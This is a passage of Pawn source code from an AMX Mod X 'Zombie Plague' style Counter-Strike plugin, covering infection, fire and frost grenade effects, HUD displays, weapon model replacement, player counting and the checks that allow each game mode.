	message_begin(MSG_ONE,iconstatus,{0,0,0},id)
	write_byte(1)
	write_string(grenade_icons[id])
	write_byte(grenade_color[0])
	write_byte(grenade_color[1])
	write_byte(grenade_color[2])
	message_end()
	
	return
}

public remove_grenade_icon(id) 
{
	message_begin(MSG_ONE,iconstatus,{0,0,0},id)
	write_byte(0)
	write_string(grenade_icons[id])
	message_end()
	
	message_begin(MSG_ONE,iconstatus,{0,0,0},id)
	write_byte(0)
	write_string("defuser")
	write_byte(0)
	write_byte(0)
	write_byte(0)
	message_end()
}

public event_death() 
{
	new id = read_data(2)
	
	new vOrigin[3],coord[3];
	new victim = read_data(2);
	if (is_user_connected (victim)) return

	g_is_saw[victim] = false

	get_user_origin(victim,vOrigin);
	vOrigin[2] -= 26
	coord[0] = vOrigin[0] + 500;
	coord[1] = vOrigin[1] + 500;
	coord[2] = vOrigin[2] + 500;
	
	static iKiller;
	
	iKiller = read_data( 1 );
	
	if(!is_user_bot(id))
		remove_grenade_icon(id)
	
	if ( g_survivor [ iKiller ] )
		create_blood(vOrigin);
}

create_blood(vec1[3])
{
	message_begin(MSG_BROADCAST,SVC_TEMPENTITY); 
	write_byte(TE_LAVASPLASH); 
	write_coord(vec1[0]); 
	write_coord(vec1[1]); 
	write_coord(vec1[2]); 
	message_end(); 
}

turn_off_flashlight(id) {
	// Restore batteries for the next use
	fm_cs_set_user_batteries(id, 100)
	
	// Check if flashlight is on
	if (pev(id, pev_effects) & EF_DIMLIGHT)
	{
		// Turn it off
		set_pev(id, pev_impulse, IMPULSE_FLASHLIGHT)
	}
	else
	{
		// Clear any stored flashlight impulse (bugfix)
		set_pev(id, pev_impulse, 0)
	}
	
	// Turn off custom flashlight
	if (g_cached_customflash)
	{
		// Turn it off
		g_flashlight[id] = false
		g_flashbattery[id] = 100
		
		// Update flashlight HUD
		message_begin(MSG_ONE, g_msgFlashlight, _, id)
		write_byte(0) // toggle
		write_byte(100) // battery
		message_end()
		
		// Remove previous tasks
		remove_task(id+TASK_CHARGE)
		remove_task(id+TASK_FLASH)
	}
}


//Added Fixed
public event_show_status(id)
{
	if (!g_isbot[id] && g_isconnected[id] && !g_zombie[id]) 
	{
		static aimid
		aimid = read_data(2)
		
		if(!g_zombie[aimid]){	
			set_hudmessage(255, 255, 255, -1.0, 0.60, 1, 0.01, 3.0, 0.01, 0.01, -1)
			ShowSyncHudMsg(id, g_MsgSync3,"%L", id, "AIM_INFO", g_playername[aimid] , pev(aimid, pev_health), pev(aimid, pev_armorvalue), zp_cs_get_user_money( aimid ) , zp_get_user_level( aimid )  , zp_get_user_exp(aimid)  )
		}
	}
}

//Added Fixed
public event_hide_status(id)
{
	ClearSyncHud(id, g_MsgSync3)
}


infection_explode(ent) {
	// Round ended (bugfix)
	if (g_endround) return;
	
	// Get origin
	static Float:originF[3]
	pev(ent, pev_origin, originF)
	
	// Make the explosion
	create_blast(originF)
	
	// Infection nade explode sound
	static sound[64]
	ArrayGetString(grenade_infect, random_num(0, ArraySize(grenade_infect) - 1), sound, charsmax(sound))
	emit_sound(ent, CHAN_WEAPON, sound, 1.0, ATTN_NORM, 0, PITCH_NORM)
	
	// Get attacker
	static attacker
	attacker = pev(ent, pev_owner)
	
	// Infection bomb owner disconnected? (bugfix)
	if (!is_user_valid_connected(attacker)) 
	
	{
		// Get rid of the grenade
		engfunc(EngFunc_RemoveEntity, ent)
		return;
	}

	
	// Collisions
	static victim
	victim = -1
	
	while ((victim = engfunc(EngFunc_FindEntityInSphere, victim, originF, NADE_EXPLOSION_RADIUS)) != 0)
	{
		// Only effect alive non-spawnprotected humans
		if (!is_user_valid_alive(victim) || g_zombie[victim] || g_nodamage[victim])
			continue;
		
		// Last human is killed
		if (fnGetHumans() == 1)
		{
			ExecuteHamB(Ham_Killed, victim, attacker, 0)
			continue;
		}
		
		// Infected victim's sound
		ArrayGetString(grenade_infect_player, random_num(0, ArraySize(grenade_infect_player) - 1), sound, charsmax(sound))
		emit_sound(victim, CHAN_VOICE, sound, 1.0, ATTN_NORM, 0, PITCH_NORM)
		
		// Turn into zombie
		zombieme(victim, attacker, 0, 1, 1)
	}
	
	// Get rid of the grenade
	engfunc(EngFunc_RemoveEntity, ent)

	// Remove his true
	g_infectnade[attacker] = false
}

fire_explode(ent) {
	// Get origin
	static Float:originF[3]
	pev(ent, pev_origin, originF)
	
	// Make the explosion
	create_blast2(originF)
	
	// Fire nade explode sound
	static sound[64]
	ArrayGetString(grenade_fire, random_num(0, ArraySize(grenade_fire) - 1), sound, charsmax(sound))
	emit_sound(ent, CHAN_WEAPON, sound, 1.0, ATTN_NORM, 0, PITCH_NORM)
	
	// Collisions
	static victim
	victim = -1
	
	while ((victim = engfunc(EngFunc_FindEntityInSphere, victim, originF, NADE_EXPLOSION_RADIUS)) != 0)
	{
		// Only effect alive zombies
		if (!is_user_valid_alive(victim) || !g_zombie[victim] || g_nodamage[victim] )
			continue;
		
		// Heat icon?
		if (get_pcvar_num(cvar_hudicons))
		{
			message_begin(MSG_ONE_UNRELIABLE, g_msgDamage, _, victim)
			write_byte(0) // damage save
			write_byte(0) // damage take
			write_long(DMG_BURN) // damage type
			write_coord(0) // x
			write_coord(0) // y
			write_coord(0) // z
			message_end()
		}
		
		if (g_nemesis[victim]) // fire duration (nemesis is fire resistant)
			g_burning_duration[victim] += get_pcvar_num(cvar_fireduration)
		else
			g_burning_duration[victim] += get_pcvar_num(cvar_fireduration) * 5
		
		// Set burning task on victim if not present
		if (!task_exists(victim+TASK_BURN))
			set_task(0.2, "burning_flame", victim+TASK_BURN, _, _, "b")
	}
	
	// Get rid of the grenade
	engfunc(EngFunc_RemoveEntity, ent)
}

frost_explode(ent) {
	// Get origin
	static Float:originF[3]
	pev(ent, pev_origin, originF)
	
	// Make the explosion
	create_blast3(originF)
	
	// Frost nade explode sound
	static sound[64]
	ArrayGetString(grenade_frost, random_num(0, ArraySize(grenade_frost) - 1), sound, charsmax(sound))
	emit_sound(ent, CHAN_WEAPON, sound, 1.0, ATTN_NORM, 0, PITCH_NORM)
	
	// Collisions
	static victim
	victim = -1
	
	while ((victim = engfunc(EngFunc_FindEntityInSphere, victim, originF, NADE_EXPLOSION_RADIUS)) != 0)
	{
		// Only effect alive unfrozen zombies
		if (!is_user_valid_alive(victim) || !g_zombie[victim] || g_frozen[victim] || g_nodamage[victim])
			continue;
		
		// Nemesis shouldn't be frozen
		if (g_nemesis[victim])
		{
			// Get player's origin
			static origin2[3]
			get_user_origin(victim, origin2)
			
			// Broken glass sound
			ArrayGetString(grenade_frost_break, random_num(0, ArraySize(grenade_frost_break) - 1), sound, charsmax(sound))
			emit_sound(victim, CHAN_BODY, sound, 1.0, ATTN_NORM, 0, PITCH_NORM)
			
			// Glass shatter
			message_begin(MSG_PVS, SVC_TEMPENTITY, origin2)
			write_byte(TE_BREAKMODEL) // TE id
			write_coord(origin2[0]) // x
			write_coord(origin2[1]) // y
			write_coord(origin2[2]+24) // z
			write_coord(16) // size x
			write_coord(16) // size y
			write_coord(16) // size z
			write_coord(random_num(-50, 50)) // velocity x
			write_coord(random_num(-50, 50)) // velocity y
			write_coord(25) // velocity z
			write_byte(10) // random velocity
			write_short(g_glassSpr) // model
			write_byte(10) // count
			write_byte(25) // life
			write_byte(BREAK_GLASS) // flags
			message_end()


			continue;
		}
		
		// Freeze icon?
		if (get_pcvar_num(cvar_hudicons))
		{
			message_begin(MSG_ONE_UNRELIABLE, g_msgDamage, _, victim)
			write_byte(0) // damage save
			write_byte(0) // damage take
			write_long(DMG_DROWN) // damage type - DMG_FREEZE
			write_coord(0) // x
			write_coord(0) // y
			write_coord(0) // z
			message_end()
		}
		
		// Light blue glow while frozen
		if (g_handle_models_on_separate_ent)
			fm_set_rendering(g_ent_playermodel[victim], kRenderFxGlowShell, 0, 100, 200, kRenderNormal, 25)
		else
			fm_set_rendering(victim, kRenderFxGlowShell, 0, 100, 200, kRenderNormal, 25)
		
		// Freeze sound
		ArrayGetString(grenade_frost_player, random_num(0, ArraySize(grenade_frost_player) - 1), sound, charsmax(sound))
		emit_sound(victim, CHAN_BODY, sound, 1.0, ATTN_NORM, 0, PITCH_NORM)
		
		// Add a blue tint to their screen
		message_begin(MSG_ONE, g_msgScreenFade, _, victim)
		write_short(0) // duration
		write_short(0) // hold time
		write_short(FFADE_STAYOUT) // fade type
		write_byte(0) // red
		write_byte(50) // green
		write_byte(200) // blue
		write_byte(100) // alpha
		message_end()
		
		// Save player's old gravity and maxspeed (bugfix)
		pev(victim, pev_gravity, g_frozen_gravity[victim])
		pev(victim, pev_maxspeed, g_frozen_maxspeed[victim])
		
		// Prevent from jumping
		if (pev(victim, pev_flags) & FL_ONGROUND)
			set_pev(victim, pev_gravity, 999999.9) // set really high
		else
			set_pev(victim, pev_gravity, 0.000001) // no gravity
			
		// Prevent from moving
		set_pev(victim, pev_maxspeed, 1.0)
		
		// Set a task to remove the freeze
		g_frozen[victim] = true;
		set_task(g_firstzombie[victim] ? get_pcvar_float(cvar_freezeduration_first) : get_pcvar_float(cvar_freezeduration), "remove_freeze", victim)
	}
	
	// Get rid of the grenade
	engfunc(EngFunc_RemoveEntity, ent)
}

public remove_freeze(id) {
	// Not alive or not frozen anymore
	if (!g_isalive[id] || !g_frozen[id])
		return;
	
	// Unfreeze
	g_frozen[id] = false;
	
	// Restore gravity and maxspeed (bugfix)
	set_pev(id, pev_gravity, g_frozen_gravity[id])
	set_pev(id, pev_maxspeed, g_frozen_maxspeed[id])
	
	// If human's custom speed is disabled, let CS restore human maxspeed (bugfix)
	if (!g_zombie[id] && !g_survivor[id] && get_pcvar_float(cvar_humanspd) <= 0.0)
		ExecuteHamB(Ham_Player_ResetMaxSpeed, id)
	
	// Restore rendering
	if (g_handle_models_on_separate_ent)
	{
		// Nemesis or Survivor glow / remove glow on player model entity
		if (g_nemesis[id] && get_pcvar_num(cvar_nemglow))
			fm_set_rendering(g_ent_playermodel[id], kRenderFxGlowShell, 255, 0, 0, kRenderNormal, 25)
		else if (g_survivor[id] && get_pcvar_num(cvar_survglow))
			fm_set_rendering(g_ent_playermodel[id], kRenderFxGlowShell, 0, 0, 255, kRenderNormal, 25)
		else
			fm_set_rendering(g_ent_playermodel[id])
	}
	else
	{
		// Nemesis or Survivor glow / remove glow
		if (g_nemesis[id] && get_pcvar_num(cvar_nemglow))
			fm_set_rendering(id, kRenderFxGlowShell, 255, 0, 0, kRenderNormal, 25)
		else if (g_survivor[id] && get_pcvar_num(cvar_survglow))
			fm_set_rendering(id, kRenderFxGlowShell, 0, 0, 255, kRenderNormal, 25)
		else
			fm_set_rendering(id)
	}

	
	// Gradually remove screen's blue tint
	message_begin(MSG_ONE, g_msgScreenFade, _, id)
	write_short(UNIT_SECOND) // duration
	write_short(0) // hold time
	write_short(FFADE_IN) // fade type
	write_byte(0) // red
	write_byte(50) // green
	write_byte(200) // blue
	write_byte(100) // alpha
	message_end()
	
	// Broken glass sound
	static sound[64]
	ArrayGetString(grenade_frost_break, random_num(0, ArraySize(grenade_frost_break) - 1), sound, charsmax(sound))
	emit_sound(id, CHAN_BODY, sound, 1.0, ATTN_NORM, 0, PITCH_NORM)
	
	// Get player's origin
	static origin2[3]
	get_user_origin(id, origin2)
	
	// Glass shatter
	message_begin(MSG_PVS, SVC_TEMPENTITY, origin2)
	write_byte(TE_BREAKMODEL) // TE id
	write_coord(origin2[0]) // x
	write_coord(origin2[1]) // y
	write_coord(origin2[2]+24) // z
	write_coord(16) // size x
	write_coord(16) // size y
	write_coord(16) // size z
	write_coord(random_num(-50, 50)) // velocity x
	write_coord(random_num(-50, 50)) // velocity y
	write_coord(25) // velocity z
	write_byte(10) // random velocity
	write_short(g_glassSpr) // model
	write_byte(10) // count
	write_byte(25) // life
	write_byte(BREAK_GLASS) // flags
	message_end()
	
	ExecuteForward(g_fwUserUnfrozen, g_fwDummyResult, id);
}

public remove_stuff() {
	static ent
	
	if (get_pcvar_num(cvar_removedoors) > 0)
	{
		ent = -1;
		while ((ent = engfunc(EngFunc_FindEntityByString, ent, "classname", "func_door_rotating")) != 0)
			engfunc(EngFunc_SetOrigin, ent, Float:{8192.0 ,8192.0 ,8192.0})
	}
	
	if (get_pcvar_num(cvar_removedoors) > 1)
	{
		ent = -1;
		while ((ent = engfunc(EngFunc_FindEntityByString, ent, "classname", "func_door")) != 0)
			engfunc(EngFunc_SetOrigin, ent, Float:{8192.0 ,8192.0 ,8192.0})
	}
	
	if (!get_pcvar_num(cvar_triggered))
	{
		ent = -1
		while ((ent = engfunc(EngFunc_FindEntityByString, ent, "classname", "light")) != 0)
		{
			dllfunc(DLLFunc_Use, ent, 0);
			set_pev(ent, pev_targetname, 0);
		}
	}
}

replace_weapon_models(id, weaponid) {
	switch (weaponid)
	{
		case CSW_KNIFE:
		{
			if (g_zombie[id])
			{
				if (g_nemesis[id])
				{
					set_pev(id, pev_viewmodel2, model_vknife_nemesis)
					set_pev(id, pev_weaponmodel2, "")
				}
				else
				{
					if (get_pcvar_num(cvar_adminknifemodelszombie) && get_user_flags(id) & g_access_flag[ACCESS_ADMIN_MODELS])
					{
						set_pev(id, pev_viewmodel2, model_vknife_admin_zombie)
						set_pev(id, pev_weaponmodel2, "")
					}
					else
					{
						static clawmodel[100]
						ArrayGetString(g_zclass_clawmodel, g_zombieclass[id], clawmodel, charsmax(clawmodel))
						format(clawmodel, charsmax(clawmodel), "models/zp/hands/%s", clawmodel)
						set_pev(id, pev_viewmodel2, clawmodel)
						set_pev(id, pev_weaponmodel2, "")
					}
				}
			}
			else
			{
				if( g_survivor[ id ] )
				{
					set_pev( id, pev_weaponmodel2, model_pknife_surv )
					set_pev( id, pev_viewmodel2, model_vknife_surv )
					MsgRelaySprite_AXE(id, true)
				} else if(g_is_saw[id])
				{
					set_pev( id, pev_weaponmodel2, model_pknife_chainsaw )
					set_pev( id, pev_viewmodel2, model_vknife_chainsaw )
					set_pev(id, pev_body, 10)
				} else
					switch(g_user_knife[id])
					{
						case 0:
						{
							set_pev(id, pev_viewmodel2, model_vknife_axe)
							set_pev(id, pev_weaponmodel2, model_pknife_axe)
						}
						case 1:
						{
							set_pev(id, pev_viewmodel2, model_vknife_strong)
							set_pev(id, pev_weaponmodel2, model_pknife_strong)
						}
						case 2:
						{
							set_pev(id, pev_viewmodel2, model_vknife_combat)
							set_pev(id, pev_weaponmodel2, model_pknife_combat)
						}
						case 3:
						{
							set_pev(id, pev_viewmodel2, model_vknife_hammer)
							set_pev(id, pev_weaponmodel2, model_pknife_hammer)
						}
					}
			}
		}
		case CSW_HEGRENADE: 
		{
			if (g_zombie[id])
			{
				static bombmodel[100]
				ArrayGetString(g_zclass_bombmodel, g_zombieclass[id], bombmodel, charsmax(bombmodel))
				format(bombmodel, charsmax(bombmodel), "models/zp/grenade/%s", bombmodel)
				set_pev(id, pev_viewmodel2, bombmodel)
				set_pev(id, pev_weaponmodel2, p_model_grenade_infect)
			}
			else
			{
				set_pev(id, pev_viewmodel2, model_grenade_fire)
				set_pev(id, pev_weaponmodel2, model_grenade_firee)
			}
		}
		case CSW_FLASHBANG: // Frost grenade
		{
			if (g_zombie[id])
			{
				static bombmodel[100]
				ArrayGetString(g_zclass_bombmodel, g_zombieclass[id], bombmodel, charsmax(bombmodel))
				format(bombmodel, charsmax(bombmodel), "models/zp/grenade/%s", bombmodel)
				set_pev(id, pev_viewmodel2, bombmodel)
				set_pev(id, pev_weaponmodel2, p_model_grenade_infect)
			}
			else
			{
				set_pev(id, pev_viewmodel2, model_grenade_frost)
				set_pev(id, pev_weaponmodel2, model_grenade_frostt)
			}
		}
		case CSW_SMOKEGRENADE: // Flare grenade
		{
			if (g_zombie[id])
			{
				static bombmodel[100]
				ArrayGetString(g_zclass_bombmodel, g_zombieclass[id], bombmodel, charsmax(bombmodel))
				format(bombmodel, charsmax(bombmodel), "models/zp/grenade/%s", bombmodel)
				set_pev(id, pev_viewmodel2, bombmodel)
				set_pev(id, pev_weaponmodel2, p_model_grenade_infect)
			}
			else
			{
				set_pev(id, pev_viewmodel2, model_grenade_flare)
				set_pev(id, pev_weaponmodel2, model_grenade_flaree)
			}
		}
	}
		// Survivor's custom weapon model
	static survweaponname[32]
	get_pcvar_string(cvar_survweapon, survweaponname, charsmax(survweaponname))
	if (g_survivor[id] && weaponid == cs_weapon_name_to_id(survweaponname))
		set_pev(id, pev_viewmodel2, model_vweapon_survivor)

	
	if (g_handle_models_on_separate_ent) fm_set_weaponmodel_ent(id)
}

reset_vars(id, resetall) {
	g_zombie[id] = false
	g_nemesis[id] = false
	g_survivor[id] = false
	g_firstzombie[id] = false
	g_lastzombie[id] = false
	g_lasthuman[id] = false
	g_frozen[id] = false
	g_nodamage[id] = false
	g_respawn_as_zombie[id] = false
	g_nvision[id] = false
	g_nvisionenabled[id] = false
	g_flashlight[id] = false
	g_flashbattery[id] = 100
	g_canbuy[id] = true
	g_burning_duration[id] = 0
	g_infectnade[id] = false
	
	if (resetall)
	{
		g_ammopacks[id] = get_pcvar_num(cvar_startammopacks)
	//	g_zombieclass[id] = ZCLASS_NONE
	//	g_zombieclassnext[id] = ZCLASS_NONE
		g_damagedealt[id] = 0
		g_iPlayerHealth[id] = 0;
		WPN_AUTO_ON = 0
		WPN_AUTOk_ON = 0
	}
}

public spec_nvision(id) {
	// Not connected, alive, or bot
	if (!g_isconnected[id] || g_isalive[id] || g_isbot[id])
		return;
	
	// Give Night Vision?
	if (get_pcvar_num(cvar_nvggive))
	{
		g_nvision[id] = true
		
		// Turn on Night Vision automatically?
		if (get_pcvar_num(cvar_nvggive) == 1)
		{
			g_nvisionenabled[id] = true
			
			// Custom nvg?
			if (get_pcvar_num(cvar_customnvg))
			{
				remove_task(id+TASK_NVISION)
				set_task(0.1, "set_user_nvision", id+TASK_NVISION, _, _, "b")
			}
			else
				set_user_gnvision(id, 1)
		}
	}
}

public ShowHUD(taskid) {

	static id
	id = ID_SHOWHUD;
	
	// Player died?
	if (!g_isalive[id])
	{
		// Get spectating target
		id = pev(id, PEV_SPEC_TARGET)
		
		// Target not alive
		if (!g_isalive[id]) return;
	}
	
	// Format classname
	static class[32],red, green, blue
	
	if (g_zombie[id]) // zombies
	{
		if (g_nemesis[id])
		{
			red = 255 // FOR NEMESIS
			green = 0
			blue = 0
		}
		else
		{
			red = 255 // FOR ZOMBIES
			green = 255
			blue = 0
		}
		
		if (g_nemesis[id])
			formatex(class, charsmax(class), "%L", ID_SHOWHUD, "CLASS_NEMESIS")
		else
		{
			copy(class, charsmax(class), g_zombie_classname[id])

			if (contain(class, "ML_") != -1)
				format(class, charsmax(class), "%L", ID_SHOWHUD, class[3])
		}
	}
	else // humans
	{
		if (g_survivor[id])
		{
			red = 0 // FOR SURVIVOR
			green = 255
			blue = 127
		}
		else
		{
			red = 0 // FOR HUMAN
			green = 255
			blue = 0
		}
		
		if (g_survivor[id])
			formatex(class, charsmax(class), "%L", ID_SHOWHUD, "CLASS_SURVIVOR")
		else
			formatex(class, charsmax(class), "%L", ID_SHOWHUD, "CLASS_HUMAN")
	}

	
	// Spectating someone else?
	if (id != ID_SHOWHUD)
	{
		// Show name, health, class, and ammo packs
		set_hudmessage(200, 255, 255, -1.0, 0.70, 0, 6.0, 1.1, 0.0, 0.0, -1)
		ShowSyncHudMsg(ID_SHOWHUD, g_MsgSync2, "%L %s^n[HP: %d] [%L%s] [%L %d]", ID_SHOWHUD, "SPECTATING", g_playername[id], pev(id, pev_health), ID_SHOWHUD, "CLASS_CLASS", class, ID_SHOWHUD, "AMMO_PACKS1", zp_cs_get_user_money(id))
	}
	else
	{
		// Show health, class and ammo packs
		set_hudmessage(red, green, blue, 0.02, 0.9, 0, 6.0, 1.1, 0.0, 0.0, -1)
		ShowSyncHudMsg(ID_SHOWHUD, g_MsgSync2, "[%L: %d] [%L: %d] [%s]", ID_SHOWHUD, "HEALTH", pev(ID_SHOWHUD, pev_health), ID_SHOWHUD, "ARMOR", pev(ID_SHOWHUD, pev_armorvalue), class)	
	}
}

public zombie_play_idle(taskid) {
	if (g_endround || g_newround)
		return;

	static sound[64];
	new cid = g_zombieclass[ID_BLOOD];

	if (g_lastzombie[ID_BLOOD])
	{
		if (g_nemesis[ID_BLOOD])
		{
			ArrayGetString(nemesis_idle_last, random_num(0, ArraySize(nemesis_idle_last) - 1), sound, charsmax(sound));
			emit_sound(ID_BLOOD, CHAN_VOICE, sound, 1.0, ATTN_NORM, 0, PITCH_NORM);
		}
		else
		{
			if(ArraySize(Array:ArrayGetCell(zombie_idle_last_c, cid)))
			{
				ArrayGetString(Array:ArrayGetCell(zombie_idle_last_c, cid), random_num(0, ArraySize(Array:ArrayGetCell(zombie_idle_last_c, cid)) - 1), sound, charsmax(sound));
				emit_sound(ID_BLOOD, CHAN_VOICE, sound, 1.0, ATTN_NORM, 0, PITCH_NORM);
			} else
			{
				ArrayGetString(zombie_idle_last, random_num(0, ArraySize(zombie_idle_last) - 1), sound, charsmax(sound));
				emit_sound(ID_BLOOD, CHAN_VOICE, sound, 1.0, ATTN_NORM, 0, PITCH_NORM);
			}
		}
	}
	else
	{
		if (g_nemesis[ID_BLOOD])
		{
			ArrayGetString(nemesis_idle, random_num(0, ArraySize(nemesis_idle) - 1), sound, charsmax(sound));
			emit_sound(ID_BLOOD, CHAN_VOICE, sound, 1.0, ATTN_NORM, 0, PITCH_NORM);
		}
		else
		{
			if(ArraySize(Array:ArrayGetCell(zombie_idle_c, cid)))
			{
				ArrayGetString(Array:ArrayGetCell(zombie_idle_c, cid), random_num(0, ArraySize(Array:ArrayGetCell(zombie_idle_c, cid)) - 1), sound, charsmax(sound));
				emit_sound(ID_BLOOD, CHAN_VOICE, sound, 1.0, ATTN_NORM, 0, PITCH_NORM);
			} else
			{
				ArrayGetString(zombie_idle, random_num(0, ArraySize(zombie_idle) - 1), sound, charsmax(sound));
				emit_sound(ID_BLOOD, CHAN_VOICE, sound, 1.0, ATTN_NORM, 0, PITCH_NORM);
			}
		}
	}
}

public madness_over(taskid) {
	g_nodamage[ID_BLOOD] = false
}

do_random_spawn(id, regularspawns = 0) {
	static hull, sp_index, i
	
	// Get whether the player is crouching
	hull = (pev(id, pev_flags) & FL_DUCKING) ? HULL_HEAD : HULL_HUMAN
	
	// Use regular spawns?
	if (!regularspawns)
	{
		// No spawns?
		if (!g_spawnCount)
			return;
		
		// Choose random spawn to start looping at
		sp_index = random_num(0, g_spawnCount - 1)
		
		// Try to find a clear spawn
		for (i = sp_index + 1; /*no condition*/; i++)
		{
			// Start over when we reach the end
			if (i >= g_spawnCount) i = 0
			
			// Free spawn space?
			if (is_hull_vacant(g_spawns[i], hull))
			{
				// Engfunc_SetOrigin is used so ent's mins and maxs get updated instantly
				engfunc(EngFunc_SetOrigin, id, g_spawns[i])
				break;
			}
			
			// Loop completed, no free space found
			if (i == sp_index) break;
		}
	}
	else
	{
		// No spawns?
		if (!g_spawnCount2)
			return;
		
		// Choose random spawn to start looping at
		sp_index = random_num(0, g_spawnCount2 - 1)
		
		// Try to find a clear spawn
		for (i = sp_index + 1; /*no condition*/; i++)
		{
			// Start over when we reach the end
			if (i >= g_spawnCount2) i = 0
			
			// Free spawn space?
			if (is_hull_vacant(g_spawns2[i], hull))
			{
				// Engfunc_SetOrigin is used so ent's mins and maxs get updated instantly
				engfunc(EngFunc_SetOrigin, id, g_spawns2[i])
				break;
			}
			
			// Loop completed, no free space found
			if (i == sp_index) break;
		}
	}
}

fnGetZombies() {
	static iZombies, id
	iZombies = 0
	
	for (id = 1; id <= g_maxplayers; id++)
	{
		if (g_isalive[id] && g_zombie[id])
			iZombies++
	}
	
	return iZombies;
}

fnGetHumans() {
	static iHumans, id
	iHumans = 0
	
	for (id = 1; id <= g_maxplayers; id++)
	{
		if (g_isalive[id] && !g_zombie[id])
			iHumans++
	}
	
	return iHumans;
}

fnGetNemesis() {
	static iNemesis, id
	iNemesis = 0
	
	for (id = 1; id <= g_maxplayers; id++)
	{
		if (g_isalive[id] && g_nemesis[id])
			iNemesis++
	}
	
	return iNemesis;
}

fnGetSurvivors() {
	static iSurvivors, id
	iSurvivors = 0
	
	for (id = 1; id <= g_maxplayers; id++)
	{
		if (g_isalive[id] && g_survivor[id])
			iSurvivors++
	}
	
	return iSurvivors;
}

fnGetAlive() {
	static iAlive, id
	iAlive = 0
	
	for (id = 1; id <= g_maxplayers; id++)
	{
		if (g_isalive[id])
			iAlive++
	}
	
	return iAlive;
}

fnGetRandomAlive(n) {
	static iAlive, id
	iAlive = 0
	
	for (id = 1; id <= g_maxplayers; id++)
	{
		if (g_isalive[id])
			iAlive++
		
		if (iAlive == n)
			return id;
	}
	
	return -1;
}

fnGetPlaying() {
	static iPlaying, id, team
	iPlaying = 0
	
	for (id = 1; id <= g_maxplayers; id++)
	{
		if (g_isconnected[id])
		{
			team = fm_cs_get_user_team(id)
			
			if (team != FM_CS_TEAM_SPECTATOR && team != FM_CS_TEAM_UNASSIGNED)
				iPlaying++
		}
	}
	
	return iPlaying;
}

fnGetCTs() {
	static iCTs, id
	iCTs = 0
	
	for (id = 1; id <= g_maxplayers; id++)
	{
		if (g_isconnected[id])
		{			
			if (fm_cs_get_user_team(id) == FM_CS_TEAM_CT)
				iCTs++
		}
	}
	
	return iCTs;
}

fnGetTs() {
	static iTs, id
	iTs = 0
	
	for (id = 1; id <= g_maxplayers; id++)
	{
		if (g_isconnected[id])
		{			
			if (fm_cs_get_user_team(id) == FM_CS_TEAM_T)
				iTs++
		}
	}
	
	return iTs;
}

fnGetAliveCTs() {
	static iCTs, id
	iCTs = 0
	
	for (id = 1; id <= g_maxplayers; id++)
	{
		if (g_isalive[id])
		{			
			if (fm_cs_get_user_team(id) == FM_CS_TEAM_CT)
				iCTs++
		}
	}
	
	return iCTs;
}

fnGetAliveTs() {
	static iTs, id
	iTs = 0
	
	for (id = 1; id <= g_maxplayers; id++)
	{
		if (g_isalive[id])
		{			
			if (fm_cs_get_user_team(id) == FM_CS_TEAM_T)
				iTs++
		}
	}
	
	return iTs;
}

fnCheckLastZombie() {
	static id
	for (id = 1; id <= g_maxplayers; id++)
	{
		// Last zombie
		if (g_isalive[id] && g_zombie[id] && !g_nemesis[id] && fnGetZombies() == 1)
		{
			if (!g_lastzombie[id])
			{
				// Last zombie forward
				ExecuteForward(g_fwUserLastZombie, g_fwDummyResult, id);
			}
			g_lastzombie[id] = true
		}
		else
			g_lastzombie[id] = false
		
		// Last human
		if (g_isalive[id] && !g_zombie[id] && !g_survivor[id] && fnGetHumans() == 1 && !Map_ZP_Alien_Boss && !Map_ZP_Oberon_Boss && !Map_ZP_Oberon_Boss_2)
		{
			if (!g_lasthuman[id])
			{
				// Last human forward
				ExecuteForward(g_fwUserLastHuman, g_fwDummyResult, id);
				
				// Reward extra hp
				fm_set_user_health(id, pev(id, pev_health) + get_pcvar_num(cvar_humanlasthp))
			}
			g_lasthuman[id] = true
		}
		else
			g_lasthuman[id] = false
	}
}

save_stats(id) {
	// Check whether there is another record already in that slot
	if (db_name[id][0] && !equal(g_playername[id], db_name[id]))
	{
		// If DB size is exceeded, write over old records
		if (db_slot_i >= sizeof db_name)
			db_slot_i = g_maxplayers+1
		
		// Move previous record onto an additional save slot
		copy(db_name[db_slot_i], charsmax(db_name[]), db_name[id])
		db_ammopacks[db_slot_i] = db_ammopacks[id]
		db_zombieclass[db_slot_i] = db_zombieclass[id]
		db_slot_i++
	}
	
	// Now save the current player stats
	copy(db_name[id], charsmax(db_name[]), g_playername[id]) // name
	db_ammopacks[id] = g_ammopacks[id]  // ammo packs
	db_zombieclass[id] = g_zombieclassnext[id] // zombie class
}

load_stats(id) {
	// Look for a matching record
	static i
	for (i = 0; i < sizeof db_name; i++)
	{
		if (equal(g_playername[id], db_name[i]))
		{
			// Bingo!
			g_ammopacks[id] = db_ammopacks[i]
			g_zombieclass[id] = db_zombieclass[i]
			g_zombieclassnext[id] = db_zombieclass[i]
			return;
		}
	}
}

allowed_zombie(id) {
	if ((g_zombie[id] && !g_nemesis[id]) || g_endround || !g_isalive[id] || task_exists(TASK_WELCOMEMSG) || (!g_newround && !g_zombie[id] && fnGetHumans() == 1))
		return false;
	
	return true;
}

allowed_human(id) {
	if ((!g_zombie[id] && !g_survivor[id]) || g_endround || !g_isalive[id] || task_exists(TASK_WELCOMEMSG) || (!g_newround && g_zombie[id] && fnGetZombies() == 1))
		return false;
	
	return true;
}

allowed_survivor(id) {
	if (g_endround || g_survivor[id] || !g_isalive[id] || task_exists(TASK_WELCOMEMSG) || (!g_newround && g_zombie[id] && fnGetZombies() == 1))
		return false;
	
	return true;
}

allowed_nemesis(id) {
	if (g_endround || g_nemesis[id] || !g_isalive[id] || task_exists(TASK_WELCOMEMSG) || (!g_newround && !g_zombie[id] && fnGetHumans() == 1))
		return false;
	
	return true;
}

allowed_respawn(id) {
	static team
	team = fm_cs_get_user_team(id)
	
	if (g_endround || team == FM_CS_TEAM_SPECTATOR || team == FM_CS_TEAM_UNASSIGNED || g_isalive[id])
		return false;
	
	return true;
}

allowed_swarm() {
	if (g_endround || !g_newround || task_exists(TASK_WELCOMEMSG))
		return false;
	
	return true;
}

allowed_multi() {
	if (g_endround || !g_newround || task_exists(TASK_WELCOMEMSG) || floatround(fnGetAlive()*get_pcvar_float(cvar_multiratio), floatround_ceil) < 2 || floatround(fnGetAlive()*get_pcvar_float(cvar_multiratio), floatround_ceil) >= fnGetAlive())
		return false;
	
	return true;
}

allowed_plague() {
	if (g_endround || !g_newround || task_exists(TASK_WELCOMEMSG) || floatround((fnGetAlive()-(get_pcvar_num(cvar_plaguenemnum)+get_pcvar_num(cvar_plaguesurvnum)))*get_pcvar_float(cvar_plagueratio), floatround_ceil) < 1
